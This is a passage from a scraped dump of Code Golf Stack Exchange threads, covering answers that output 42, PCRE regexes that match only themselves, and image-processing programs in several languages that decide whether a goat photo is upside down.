cout<<(char)124<<(char)53<<(char)124;\n cout<<(char)95<<(char)95<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)47<<(char)48<<(char)47;\n cout<<(char)32<<(char)32<<'\\n';\n cout<<(char)124<<(char)95<<(char)95;\n cout<<(char)95<<(char)95<<(char)95;\n cout<<(char)124<<(char)50<<(char)124;\n cout<<(char)95<<(char)95<<(char)124;\n cout<<(char)32<<(char)32<<(char)47;\n cout<<(char)49<<(char)47<<(char)32;\n cout<<(char)32<<(char)32<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)124<<(char)32<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)47<<(char)32;\n cout<<(char)47<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)124<<(char)32<<(char)124;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)47<<(char)32<<(char)47;\n cout<<(char)95<<(char)95<<(char)95;\n cout<<(char)95<<(char)32<<'\\n';\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)32<<(char)32<<(char)32;\n cout<<(char)124<<(char)95<<(char)124;\n cout<<(char)32<<(char)32<<(char)124;\n cout<<(char)95<<(char)95<<(char)95;\n cout<<(char)95<<(char)95<<(char)95;\n cout<<(char)95<<(char)124<<'\\n';\n getch();\n return 0;\n} \n```\n## output\n![enter image description here](https://i.stack.imgur.com/r8iXu.png)\n[Answer]\n# JavaScript\n```\nwindow.location = \"https://www.google.nl/search?q=the+answer+to+life+the+universe+and+everything\";\n```\nOutputs `42`.\n[Answer]\n# J\nSymmetric one-liner without alphanumeric chars.\n```\n _<.>.>_ (=(+^:]) ~=(-*-)=~ ([:^+)=) _<.<.>_\n```\nOutputs 42.\nThe main computation is:\n> \n> ceiling( 1 + ( 1 - e ^ 2 ) ^ 2 ) = 42\n> \n> \n> \n[Answer]\n## JavaScript\nThe ASCII code for `*`, which for most programmers stands for \"everything\", is 42.\n`+!\"The End of the Universe\"` evaluates to 0.\n```\nString.prototype.answer = function() { alert(this.charCodeAt(+!\"The End of the Universe\")); };\n'*'.answer();\n```\n[Answer]\n## PHP\nAsk WolframAlpha. Here's some code that uses the WolframAlpha API to retrieve the result of a specific search query:\n```\nxpath('//plaintext')[1];\n$answer = preg_replace('/\\D/', '', $plaintext);\necho $answer;\n```\nOutput:\n```\n42\n```\n### [Working demo](http://codepad.viper-7.com/BaDGtg)\n]"}}},{"rowIdx":11,"cells":{"text":{"kind":"string","value":"[Question]\n [\nThere are some pretty cool challenges out there involving regex ([Self-matching regex](https://codegolf.stackexchange.com/questions/6798/self-matching-regex), [Regex validating regex](https://codegolf.stackexchange.com/questions/3596/regex-validating-regex))\nThis may well be impossible, but is there a regex that will ONLY match itself?\nNOTE, delimiters must be included:\nfor example `/thing/` must match `/thing/` and not `thing`. The only match possible for your expression must be the expression itself. Many languages allow the implementation of a string in the place of a regular expression. [For instance in Go](http://play.golang.org/p/piOS51rL8k)\n```\npackage main\nimport \"fmt\"\nimport \"regexp\"\nfunc main() {\n var foo = regexp.MustCompile(\"bar\")\n fmt.Println(foo.MatchString(\"foobar\"))\n}\n```\nbut for the sake of the challenge, let the expression be delimited (starting symbol, expression, ending symbol ex: `/fancypantpattern/` or `@[^2048]@`), if you want to argue quotes as your delimiter, so be it. I think given the apparent difficulty of this problem it won't make much of a difference.\n## To help you along:\nQuick hack I put together for [rubular.com](http://rubular.com/) (a webpage for ruby regex editing):\n```\nvar test = document.getElementById(\"test\")\n,regex = document.getElementById(\"regex\")\n,delimiter=\"/\"\n,options = document.getElementById(\"options\")\n,delay = function(){test.value = delimiter + regex.value + delimiter + options.value}\n,update = function(e){\n // without delay value = not updated value\n window.setTimeout(delay,0);\n}\nregex.onkeydown = update;\noptions.onkeydown = update;\n```\nEven though this is technically 'code golf' I will be very impressed if anyone can find an answer/ prove it is impossible.\n**Link is now fixed. Sorry to all**\nWinning answer thus far: [jimmy23013 with 40 characters](http://regex101.com/r/pF1gF4)\n \n[Answer]\n## PCRE flavor, 261 289 210 184 127 109 71 53 51 44 40 bytes\nYes, it is possible!\n```\n<^<()(?R){2}>\\z|\\1\\Q^<()(?R){2}>\\z|\\1\\Q>\n```\n[Try it here.](https://regex101.com/r/mF1mW6/12) (But `/` is shown to be the delimiter on Regex101.)\nPlease refrain from making unnecessary edits (updates) on the Regex101 page. If your edit doesn't actually involve improving, trying or testing this regex, you could fork it or create new ones from [their homepage](https://regex101.com/).\nThe version works more correctly on Regex101 (44 bytes):\n```\n/^\\/()(?R){2}\\/\\z|\\1\\Q^\\/()(?R){2}\\/\\z|\\1\\Q/\n```\n[Try it here.](https://regex101.com/r/mF1mW6/9)\nThis is much simpler than the original version and works more like a traditional quine. It tries to define a string without using it, and use it in a different place. So it can be placed very close to one end of the regex, to reduce the number of characters needing more characters to define the matching pattern and repeated more times.\nExplanations:\n* `\\Q^\\/()(?R){2}\\/\\z|\\1\\Q` matches the string `^\\/()(?R){2}\\/\\z|\\1\\Q`. This uses a quirk that `\\Q...\\E` doesn't have to be closed, and unescaped delimiters work in `\\Q`. This made some previous versions work only on Regex101 and not locally. But fortunately the latest version worked, and I golfed off some more bytes using this.\n* `\\1` before the `\\Q` matches the captured group 1. Because group 1 doesn't exist in this option, it can only match in recursive calls. In recursive calls it matches empty strings.\n* `(?R){2}` calls the whole regex recursively twice, which matches `^\\/()(?R){2}\\/\\z|\\1\\Q` for each time.\n* `()` does nothing but capture an empty string into group 1, which enables the other option in recursive calls.\n* `^\\/()(?R){2}\\/\\z` matches `(?R){2}` with delimiters added, from the beginning to the end. The `\\/` before the recursive calls also made sure this option itself doesn't match in recursive calls, because it won't be at the beginning of the string.\n51 bytes with closed `\\Q...\\E`:\n```\n/\\QE\\1|^\\/(\\\\)Q(?R){2}z\\/\\E\\1|^\\/(\\\\)Q(?R){2}z\\/\\z/\n```\n[Try it here.](https://regex101.com/r/mF1mW6/8)\n### Original version, 188 bytes\nThanks to Martin Büttner for golfing off about 100 bytes!\n```\n/^(?=.{173}\\Q\\2\\)){2}.{11}$\\E\\/\\z)((?=(.2.|))\\2\\/\\2\\^\\2\\(\\2\\?=\\2\\.\\2\\{173}\\2\\\\Q\\2\\\\2\\2\\\\\\2\\)\\2\\)\\2\\{2}\\2\\.\\2\\{11}\\2\\$\\2\\\\E\\2\\\\\\2\\/\\2\\\\z\\2\\)\\2\\(\\2\\(\\2\\?=\\2\\(\\2\\.2\\2\\.\\2\\|\\2\\)\\2\\)){2}.{11}$/\n```\n[Try it here.](https://regex101.com/r/pF1gF4/8)\nOr 210 bytes without `\\Q...\\E`:\n```\n/^(?=.{194}\\\\2\\\\.\\)\\{2}\\.\\{12}\\$\\/D$)((?=(.2.|))\\2\\/\\2\\^\\2\\(\\2\\?=\\2\\.\\2\\{194}\\2\\\\\\2\\\\2\\2\\\\\\2\\\\\\2\\.\\2\\\\\\2\\)\\2\\\\\\2\\{2}\\2\\\\\\2\\.\\2\\\\\\2\\{12}\\2\\\\\\2\\$\\2\\\\\\2\\/D\\2\\$\\2\\)\\2\\(\\2\\(\\2\\?=\\2\\(\\2\\.2\\2\\.\\2\\|\\2\\)\\2\\)){2}.{12}$/D\n```\n[Try it here.](https://regex101.com/r/pF1gF4/6)\nExpanded version:\n```\n/^(?=.{173}\\Q\\2\\)){2}.{11}$\\E\\/\\z) # Match things near the end.\n((?=(.2.|)) # Capture an empty string or \\2\\ into group 2.\n \\2\\/\\2\\^\\2\\(\\2\\?=\\2\\.\\2\\{173}\\2\\\\Q\\2\\\\2\\2\\\\\\2\\)\\2\\)\\2\\{2}\\2\\.\n \\2\\{11}\\2\\$\\2\\\\E\\2\\\\\\2\\/\\2\\\\z\\2\\) # 1st line escaped.\n \\2\\(\\2\\(\\2\\?=\\2\\(\\2\\.2\\2\\.\\2\\|\\2\\)\\2\\) # 2nd line escaped.\n){2}\n.{11}$/x\n```\nExtensions like `(?=` and `\\1` have made the so-called \"regular\" expressions no longer regular, which also makes quines possible. Backreference is not regular, but lookahead is.\nExplanation:\n* I use `\\2\\` in place of `\\` to escape special characters. If `\\2` matches the empty string, `\\2\\x` (where `x` is a special character) matches the `x` itself. If `\\2` matches `\\2\\`, `\\2\\x` matches the escaped one. `\\2` in the two matches of group 1 can be different in regex. In the first time `\\2` should match the empty string, and the second time `\\2\\`.\n* `\\Q\\2\\)){2}.{11}$\\E\\/\\z` (line 1) matches 15 characters from the end. And `.{11}$` (line 7) matches 11 characters from the end (or before a trailing newline). So the pattern just before the second pattern must match the first 4 or 3 characters in the first pattern, so `\\2\\.\\2\\|\\2\\)\\2\\)` must match `...\\2\\)` or `...\\2\\`. There cannot be a trailing newline because the last character should be `)`. And the matched text doesn't contain another `)` before the rightmost one, so all other characters must be in the `\\2`. `\\2` is defined as `(.2.|)`, so it can only be `\\2\\`.\n* The first line makes the whole expression matches exactly 188 characters since everything has a fixed length. The two times of group 1 matches 45\\*2 characters plus 29 times `\\2`. And things after group 1 matches 11 characters. So the total length of the two times `\\2` must be exactly 3 characters. Knowing `\\2` for the second time is 3 characters long, it must be empty for the first time.\n* Everything except the lookahead and `\\2` are literals in group 1. With the two times `\\2` known, and the last few characters known from the first line, this regex matches exactly one string.\n* Martin Büttner comes up with the idea of using lookahead to capture group 2 and make it overlap with the quine part. This removed the characters not escaped in the normal way between the two times of group 1, and help avoided the pattern to match them in my original version, and simplified the regex a lot.\n## Regex without recursions or backreferences, 85 bytes\nSomeone may argue that expressions with recursions or backreferences are not real \"regular\" expressions. But expressions with only lookahead can still only match regular languages, although they may be much longer if expressed by traditional regular expressions.\n```\n/(?=.*(\\QE\\\\){2}z\\/\\z)^\\/\\(\\?\\=\\.\\*\\(\\\\Q.{76}\\E\\\\){2}z\\/\\z)^\\/\\(\\?\\=\\.\\*\\(\\\\Q.{76}\\z/\n```\n[Try it here.](https://regex101.com/r/eZ4iX6/1)\n610 bytes without `\\Q...\\E` (to be golfed):\n```\n/^(?=.{610}$)(?=.{71}(\\(\\.\\{8\\}\\)\\?\\\\.[^(]*){57}\\)\\{2\\}\\.\\{12\\}\\$\\/D$)((.{8})?\\/(.{8})?\\^(.{8})?\\((.{8})?\\?=(.{8})?\\.(.{8})?\\{610(.{8})?\\}(.{8})?\\$(.{8})?\\)(.{8})?\\((.{8})?\\?=(.{8})?\\.(.{8})?\\{71(.{8})?\\}(.{8})?\\((.{8})?\\\\(.{8})?\\((.{8})?\\\\(.{8})?\\.(.{8})?\\\\(.{8})?\\{8(.{8})?\\\\(.{8})?\\}(.{8})?\\\\(.{8})?\\)(.{8})?\\\\(.{8})?\\?(.{8})?\\\\(.{8})?\\\\(.{8})?\\.(.{8})?\\[(.{8})?\\^(.{8})?\\((.{8})?\\](.{8})?\\*(.{8})?\\)(.{8})?\\{57(.{8})?\\}(.{8})?\\\\(.{8})?\\)(.{8})?\\\\(.{8})?\\{2(.{8})?\\\\(.{8})?\\}(.{8})?\\\\(.{8})?\\.(.{8})?\\\\(.{8})?\\{12(.{8})?\\\\(.{8})?\\}(.{8})?\\\\(.{8})?\\$(.{8})?\\\\(.{8})?\\/D(.{8})?\\$(.{8})?\\)(.{8})?\\(){2}.{12}$/D\n```\n[Try it here.](http://regex101.com/r/aJ2sX6/2)\nThe idea is similar.\n```\n/^(?=.{610}$)(?=.{71}(\\(\\.\\{8\\}\\)\\?\\\\.[^(]*){57}\\)\\{2\\}\\.\\{12\\}\\$\\/D$)\n((.{8})?\\/(.{8})?\\^(.{8})?\\((.{8})?\\?=(.{8})?\\.(.{8})?\\{610(.{8})?\\}(.{8})?\\$(.{8})?\\)\n(.{8})?\\((.{8})?\\?=(.{8})?\\.(.{8})?\\{71(.{8})?\\}\n (.{8})?\\((.{8})?\\\\(.{8})?\\((.{8})?\\\\(.{8})?\\.(.{8})?\\\\(.{8})?\\{8(.{8})?\\\\(.{8})?\\}\n (.{8})?\\\\(.{8})?\\)(.{8})?\\\\(.{8})?\\?(.{8})?\\\\(.{8})?\\\\\n (.{8})?\\.(.{8})?\\[(.{8})?\\^(.{8})?\\((.{8})?\\](.{8})?\\*(.{8})?\\)(.{8})?\\{57(.{8})?\\}\n (.{8})?\\\\(.{8})?\\)(.{8})?\\\\(.{8})?\\{2(.{8})?\\\\(.{8})?\\}\n (.{8})?\\\\(.{8})?\\.(.{8})?\\\\(.{8})?\\{12(.{8})?\\\\(.{8})?\\}\n (.{8})?\\\\(.{8})?\\$(.{8})?\\\\(.{8})?\\/D(.{8})?\\$(.{8})?\\)(.{8})?\\(){2}.{12}$/D\n```\n## The basic regular expression\nIf lookahead is not allowed, the best I can do now is:\n```\n/\\\\(\\\\\\(\\\\\\\\){2}/\n```\nwhich matches\n```\n\\\\(\\\\\\(\\\\\n```\nIf `{m,n}` quantifier is not allowed, it is impossible because nothing which can only match one string, can match a string longer than itself. Of course one can still invent something like `\\q` which only matches `/\\q/`, and still say expressions with that regular. But apparently nothing like this is supported by major implementations.\n]"}}},{"rowIdx":12,"cells":{"text":{"kind":"string","value":"[Question]\n [\nGiven an image of a goat, your program should best try to identify whether the goat is upside down, or not.\n## Examples\nThese are examples of what the input may be. Not actual inputs\nInput: \n \n![Downgoat](https://i.stack.imgur.com/p5yj4.jpg)\nOutput:\n`Downgoat`\n## Spec\nYour program should be at most 30,000 bytes\n* The input will contain the full goat\n* The picture will always contain a goat\n* If the goat is upside down, output `Downgoat`, otherwise `Upgoat`\nInput will be however you can take an image as an input (file name, base64 of the image, etc.)\nDon't rely on the image name or other metadata for containing \"Upgoat\" or \"Downgoat\" as the gist file names are just for reference.\n---\n*Please don't hardcode*. It's boring, I can't enforce it completely but I can ask nicely.\n## Test Cases\n[Gist with images](https://gist.github.com/vihanb/3fb94bfaa7364ccdd8e2). images beginning with `downgoat` have `Downgoat` output and images beginning with `upgoat` have `Upgoat` output.\n[Second Batch of Test Cases](https://gist.github.com/vihanb/b1636465272f26d7f903)\nMake sure to test your images on all the test cases. These images are a `jpg`s. The image sizes do vary but not by *that* much.\n---\n**Note:** A few test cases may be added before accepting an answer to avoid answers which hardcode and to check the general performance of the program.\nBonus points for getting my avatar correct :P\n## Scoring\nScore is a percent which can be calculated by: `(number_correct / total) * 100`\n \n[Answer]\n# Mathematica, 100%, 141 bytes\n```\nf@x_:=Count[1>0]@Table[ImageInstanceQ[x,\"caprine animal\",RecognitionThreshold->i/100],{i,0,50}];If[f@#>f@ImageReflect@#,\"Up\",\"Down\"]<>\"goat\"&\n```\nWell, this feels more than a little like cheating. It's also incredibly slow as well as being very silly. Function `f` sees roughly how high you can set the Recognition threshold in one of Mathematica's computer vision builtins, and still recognise the image as a Caprine animal.\nWe then see whether the image or the flipped image is more goaty. Works on your profile image only because tie is broken in favour of downgoat. There are probably loads of ways this could be improved including asking it if the image represents Bovids or other generalisations of the Caprine animal entity type.\nAnswer as written scores 100% for the first testing set and 94% for the second testing set, as the algorithm yields an inconclusive result for goat 1. This can be raised back up to 100% at the expense of an even longer computational time by testing more values of `RecognitionThreshold`. Raising from `100` to `1000` sufficies; for some reason Mathematica thinks that's a very ungoaty image! Changing the recognition entity from Caprine animal to Hoofed Mammal also seems to work.\n## Ungolfed:\n```\ngoatness[image_] := Count[\n Table[\n ImageInstanceQ[\n image, Entity[\"Concept\", \"CaprineAnimal::4p79r\"],\n RecognitionThreshold -> threshold\n ],\n {threshold, 0, 0.5, 0.01}\n ],\n True\n ]\nFunction[{image},\n StringJoin[ \n If[goatness[image] > goatness[ImageReflect[image]],\n \"Up\",\n \"Down\"\n ],\n \"goat\"\n ]\n]\n```\n---\n# Alternative solution, 100% + bonus\n```\ng[t_][i_] := ImageInstanceQ[i, \"caprine animal\", RecognitionThreshold -> t]\nf[i_, l_: 0, u_: 1] := Module[{m = (2 l + u)/3, r},\n r = g[m] /@ {i, ImageReflect@i};\n If[Equal @@ r,\n If[First@r, f[i, m, u], f[i, l, m]],\n If[First@r, \"Up\", \"Down\"] <> \"goat\"\n ]\n ]\n```\nThis one uses the same strategy as before, but with a binary search over the threshold. There are two functions involved here:\n* `g[t]` returns whether or not its argument is a goaty image with threshold `t`.\n* `f` takes three parameters: an image, and an upper and lower bound on the threshold. It is recursive; it works by testing a threshold `m` between the upper and lower thresholds (biased towards the lower). If the image and the reflected image are both goaty or non-goaty, it eliminates the lower or upper part of the range as appropriate and calls itself again. Otherwise, if one image is goaty and the other is non-goaty, it returns `Upgoat` if the first image is goaty and `Downgoat` otherwise (if the second, reflected image is goaty).\nThe function definitions deserves a little explanation. First, function application is left-associative. This means that something like `g[x][y]` is interpreted as `(g[x])[y]`; \"the result of `g[x]` applied to `y`.\"\nSecond, assignment in Mathematica is roughly equivalent to defining a replacement rule. That is, `f[x_] := x^2` does *not* mean \"declare a function named `f` with parameter `x` that returns `x^2`;\" its meaning is closer to, \"whenever you see something like `f[ ... ]`, call the thing inside `x` and replace the whole thing with `x^2`.\"\nPutting these two together, we can see that the definition of `g` is telling Mathematica to replace any expression of the form `(g[ ... ])[ ... ]` with the right-hand side of the assignment.\nWhen Mathematica encounters the expression `g[m]` (in the second line of `f`), it sees that the expression does not match any rules that it knows and leaves it unchanged. Then it matches the `Map` operator `/@`, whose arguments are `g[m]` and the list `{i, ImageReflect@i}`. (`/@` is infix notation; this expression is exactly equivalent to `Map[g[m], { ... }]`.) The `Map` is replaced by applying its first argument to each element of its second argument, so we get `{(g[m])[i], (g[m])[ ... ]}`. Now Mathematica sees that each element matches the definition of `g` and does the replacement.\nIn this way we got `g` to act like a function that returns another function; that is, it acts roughly like we wrote:\n```\ng[t_] := Function[{i}, ImageInstanceQ[i, \"caprine animal\", RecognitionThreshold -> t]]\n```\n(Except in this case `g[t]` on its own evaluates to a `Function`, whereas before `g[t]` on its own was not transformed at all.)\nThe final trick I use is an optional pattern. The pattern `l_ : 0` means \"match any expression and make it available as `l`, or match nothing and make `0` available as `l`.\" So, if you call `f[i]` with one argument (the image to test) it is as if you had called `f[i, 0, 1]`.\nHere is the test harness I used:\n```\ngist = Import[\"https://api.github.com/gists/3fb94bfaa7364ccdd8e2\", \"JSON\"];\n{names, urls} = Transpose[{\"filename\", \"raw_url\"} /. Last /@ (\"files\" /. gist)];\nimages = Import /@ urls;\nresult = f /@ images\nTally@MapThread[StringContainsQ[##, IgnoreCase -> True] &, {names, result}]\n(* {{True, 18}} *)\nuser = \"items\" /.\n Import[\"https://api.stackexchange.com/2.2/users/40695?site=codegolf\", \"JSON\"];\npic = Import[First[\"profile_image\" /. user]];\nname = First[\"display_name\" /. user];\nname == f@pic\n(* True *)\n```\n[Answer]\n# JavaScript, 93.9%\n```\nvar solution = function(imageUrl, settings) {\n // Settings\n settings = settings || {};\n var colourDifferenceCutoff = settings.colourDifferenceCutoff || 0.1,\n startX = settings.startX || 55,\n startY = settings.startY || 53;\n // Draw the image to the canvas\n var canvas = document.createElement(\"canvas\"),\n context = canvas.getContext(\"2d\"),\n image = new Image();\n image.src = imageUrl;\n image.onload = function(e) {\n canvas.width = image.width;\n canvas.height = image.height;\n context.drawImage(image, 0, 0);\n // Gets the average colour of an area\n function getColour(x, y) {\n // Get the image data from the canvas\n var sizeX = image.width / 100,\n sizeY = image.height / 100,\n data = context.getImageData(\n x * sizeX | 0,\n y * sizeY | 0,\n sizeX | 0,\n sizeY | 0\n ).data;\n // Get the average of the pixel colours\n var average = [ 0, 0, 0 ],\n length = data.length / 4;\n for(var i = 0; i < length; i++) {\n average[0] += data[i * 4] / length;\n average[1] += data[i * 4 + 1] / length;\n average[2] += data[i * 4 + 2] / length;\n }\n return average;\n }\n // Gets the lightness of similar colours above or below the centre\n function getLightness(direction) {\n var centre = getColour(startX, startY),\n colours = [],\n increment = direction == \"above\" ? -1 : 1;\n for(var y = startY; y > 0 && y < 100; y += increment) {\n var colour = getColour(startX, y);\n // If the colour is sufficiently different\n if(\n (\n Math.abs(colour[0] - centre[0]) +\n Math.abs(colour[1] - centre[1]) +\n Math.abs(colour[2] - centre[2])\n ) / 256 / 3\n > colourDifferenceCutoff\n ) break;\n else colours.push(colour);\n }\n // Calculate the average lightness\n var lightness = 0;\n for(var i = 0; i < colours.length; i++) {\n lightness +=\n (colours[i][0] + colours[i][1] + colours[i][2])\n / 256 / 3 / colours.length;\n }\n /*\n console.log(\n \"Direction:\", direction,\n \"Checked y = 50 to:\", y,\n \"Average lightness:\", lightness\n );\n */\n return lightness;\n }\n // Compare the lightness above and below the starting point\n //console.log(\"Results for:\", imageUrl);\n var above = getLightness(\"above\"),\n below = getLightness(\"below\"),\n result = above > below ? \"Upgoat\" : \"Downgoat\";\n console.log(result);\n return result;\n };\n};\n```\n```\n
{document.getElementById`G`.src=imageUrl=e.target.result;console.log=v=>document.getElementById`R`.textContent=v;solution(imageUrl);};r.readAsDataURL(event.dataTransfer.files[0]);\" ondragover=\"event.preventDefault()\" style=\"height:160px;border-radius:12px;border:2px dashed #999;font-family:Arial,sans-serif;padding:8px\">

Drag & drop image file (not just link) to test here... (requires HTML5 browser)

\n```\n## Explanation\nSimple implementation of [@BlackCap](https://codegolf.stackexchange.com/users/43037/blackcap)'s idea of checking where the light is coming from.\nMost of the goats are in the centre of their images, and their bellies are always darker than their backs because of the sunlight. The program starts at the middle of the image and makes a note of the colour. It then gets the average lightness of the pixels above and below the centre up to where the colour is different to the colour at the centre (when the body of the goat ends and the background starts). Whichever side is lighter determines whether it is an upgoat or a downgoat.\nFails for downgoat 9 and upgoats 7 and 9 in the second test case.\n[Answer]\n# Java, ~~93.9%~~ 100%\nThis works by determining the row contrast in the upper and lower part of the image. I assume that the contrast in the bottom half of the image is bigger for 2 reasons:\n* the 4 legs are in the bottom part\n* the background in the upper part will be blurred because it is usually the out-of-focus-area\nI determine the contrast for each row by calculating the difference of neighboring pixel values, squaring the difference, and summing all squares.\n## Update\nSome images from the second batch caused problems with the original algorithm.\n### upgoat3.jpg\nThis image was using transparency which was ignored previously. There are several possibilities to solve this problem, but I simply chose to render all images on a 400x400 black background. This has the following advantages:\n* handles images with alpha channel\n* handles indexed and grayscale images\n* improves performance (no need to process those 13MP images)\n### downgoat8.jpg/upgoat8.jpg\nThese images have exaggerated detail in the body of the goat. The solution here was to blur the image in vertical direction only. However, this generated problems with images from the first batch, which have vertical structures in the background. The solution here was to simply count differences which exceed a certain threshold, and ignore the actual value of the difference.\nShortly said, the updated algorithm looks for areas with many differences in images that after the preprocessing look like this:\n[![enter image description here](https://i.stack.imgur.com/KPZJU.png)](https://i.stack.imgur.com/KPZJU.png)\n```\nimport java.awt.Graphics2D;\nimport java.awt.RenderingHints;\nimport java.awt.image.BufferedImage;\nimport java.awt.image.Raster;\nimport java.io.File;\nimport java.io.IOException;\nimport javax.imageio.ImageIO;\npublic class UpDownGoat {\n private static final int IMAGE_SIZE = 400;\n private static final int BLUR_SIZE = 50;\n private static BufferedImage blur(BufferedImage image) {\n BufferedImage result = new BufferedImage(image.getWidth(), image.getHeight() - BLUR_SIZE + 1,\n BufferedImage.TYPE_INT_RGB);\n for (int b = 0; b < image.getRaster().getNumBands(); ++b) {\n for (int x = 0; x < result.getWidth(); ++x) {\n for (int y = 0; y < result.getHeight(); ++y) {\n int sum = 0;\n for (int y1 = 0; y1 < BLUR_SIZE; ++y1) {\n sum += image.getRaster().getSample(x, y + y1, b);\n }\n result.getRaster().setSample(x, y, b, sum / BLUR_SIZE);\n }\n }\n }\n return result;\n }\n private static long calcContrast(Raster raster, int y0, int y1) {\n long result = 0;\n for (int b = 0; b < raster.getNumBands(); ++b) {\n for (int y = y0; y < y1; ++y) {\n long prev = raster.getSample(0, y, b);\n for (int x = 1; x < raster.getWidth(); ++x) {\n long current = raster.getSample(x, y, b);\n result += Math.abs(current - prev) > 5 ? 1 : 0;\n prev = current;\n }\n }\n }\n return result;\n }\n private static boolean isUp(File file) throws IOException {\n BufferedImage image = new BufferedImage(IMAGE_SIZE, IMAGE_SIZE, BufferedImage.TYPE_INT_RGB);\n Graphics2D graphics = image.createGraphics();\n graphics.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BICUBIC);\n graphics.drawImage(ImageIO.read(file), 0, 0, image.getWidth(), image.getHeight(), null);\n graphics.dispose();\n image = blur(image);\n int halfHeight = image.getHeight() / 2;\n return calcContrast(image.getRaster(), 0, halfHeight) < calcContrast(image.getRaster(),\n image.getHeight() - halfHeight, image.getHeight());\n }\n public static void main(String[] args) throws IOException {\n System.out.println(isUp(new File(args[0])) ? \"Upgoat\" : \"Downgoat\");\n }\n}\n```\n[Answer]\n## Python 3, 91.6%\n-edited with the new test cases\nset filename to the goat picture you wish to test.\nIt uses a kernel to make an image top/bottom asymmetric.I tried the sobel operator, but this was better.\n```\nfrom PIL import Image, ImageFilter\nimport statistics\nk=(2,2,2,0,0,0,-2,-2,-2)\nfilename='0.png'\nim=Image.open(filename)\nim=im.filter(ImageFilter.Kernel((3,3),k,1,128))\nA=list(im.resize((10,10),1).getdata())\nim.close()\na0=[]\naa=0\nfor y in range(0,len(A)):\n y=A[y]\n a0.append(y[0]+y[1]+y[2])\naa=statistics.mean(a0)\nif aa<383.6974:\n print('Upgoat')\nelse:\n print('Downgoat')\n```\n[Answer]\n# Python 3, OpenCV with Hough Transform, 100%\nMy original idea was to detect the vertical lines of the goat's legs and determine its vertical position relative to the body and horizon.\nAs it turns out, in all the images, the ground is extremely noisy, making lots of Canny edge detection output and corresponding detected lines from the Hough transform. My strategy was then to determine whether the horizontal lines lie in the upper or lower half of the image, which was enough to solve the problem.\n```\n# Most of this code is from OpenCV examples\nimport cv2\nimport numpy as np\ndef is_upgoat(path):\n img = cv2.imread(path)\n height, width, channels = img.shape\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 100, 200, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi/180, 200, None, 0, 0, np.pi/2-0.5, np.pi/2+0.5)\n rho_small = 0\n for line in lines:\n rho, theta = line[0]\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 5000*(-b))\n y1 = int(y0 + 5000*(a))\n x2 = int(x0 - 5000*(-b))\n y2 = int(y0 - 5000*(a))\n if rho/height < 1/2: rho_small += 1\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),1, cv2.LINE_AA)\n output_dir = \"output/\"\n img_name = path[:-4]\n cv2.imwrite(output_dir + img_name + \"img.jpg\", img)\n cv2.imwrite(output_dir + img_name + \"edges.jpg\", edges)\n return rho_small / len(lines) < 1/2\nfor i in range(1, 10):\n downgoat_path = \"downgoat\" + str(i) + \".jpg\"\n print(downgoat_path, is_upgoat(downgoat_path))\nfor i in range(1, 10):\n upgoat_path = \"upgoat\" + str(i) + \".jpg\"\n print(upgoat_path, is_upgoat(upgoat_path))\n```\nHere's the entire function without outputting images:\n```\ndef is_upgoat(path):\n img = cv2.imread(path)\n height, width, channels = img.shape\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 100, 200, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi/180, 200, None, 0, 0, np.pi/2-0.5, np.pi/2+0.5)\n rho_small = 0\n for line in lines:\n rho, theta = line[0]\n if rho/height < 1/2: rho_small += 1\n return rho_small / len(lines) < 1/2\n```\nDowngoat1 edges:\n![Downgoat1 edges](https://i.stack.imgur.com/rzRn3.jpg)\nDowngoat1 lines:\n![Downgoat1 lines](https://i.stack.imgur.com/GnUpl.jpg)\nUpgoat2 edges and lines:\n![Upgoat2 edges](https://i.stack.imgur.com/70gbo.jpg)\n![Upgoat2 lines](https://i.stack.imgur.com/WGG0T.jpg)\nThe method even worked well on particularly noisy images. Here's downgoat3 edges and lines:\n![downgoat3 edges](https://i.stack.imgur.com/jHABO.jpg)\n![downgoat3 lines](https://i.stack.imgur.com/y7zIP.jpg)\n---\n# Addendum\nIt turns out median blur and adaptive Gaussian thresholding before the Hough Transform works much better than Canny edge detection, mostly since median blur is good in noisy areas. However the problems of my original approach immediately are clear: prominent background lines are detected, as well as the goat's face in some pictures.\n```\ndef is_upgoat2(path):\n img = cv2.imread(path)\n #height, width, channels = img.shape\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray = cv2.medianBlur(gray, 19)\n thresh = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv2.THRESH_BINARY_INV, 11, 2)\n lines = cv2.HoughLinesP(thresh, 1, np.pi / 180, threshold=100,\n minLineLength=50, maxLineGap=10)\n vert_y = []\n horiz_y = []\n for line in lines:\n x1, y1, x2, y2 = line[0]\n # Vertical lines\n if x1 == x2 or abs((y2-y1)/(x2-x1)) > 3:\n vert_y.append((y1+y2)/2)\n cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n # Horizontal lines\n if x1 != x2 and abs((y2-y1)/(x2-x1)) < 1/3:\n horiz_y.append((y1+y2)/2)\n cv2.line(img, (x1, y1), (x2, y2), (0, 0, 255), 2)\n print(np.median(vert_y), np.median(horiz_y))\n```\nHere's downgoat8:\n![downgoat8 thresh](https://i.stack.imgur.com/sqXr8.jpg)\n![downgoat8 edges](https://i.stack.imgur.com/2Klwu.jpg)\nContours (code not shown) detect the top edge of the goat (spine) pretty well but fail to get the entire shape.\n![contours](https://i.stack.imgur.com/d7cip.jpg)\n**Further research:** [OpenCV has Haar-feature based object detection](https://docs.opencv.org/3.4.1/d5/d54/group__objdetect.html) which is usually used for things like cars and faces, but it 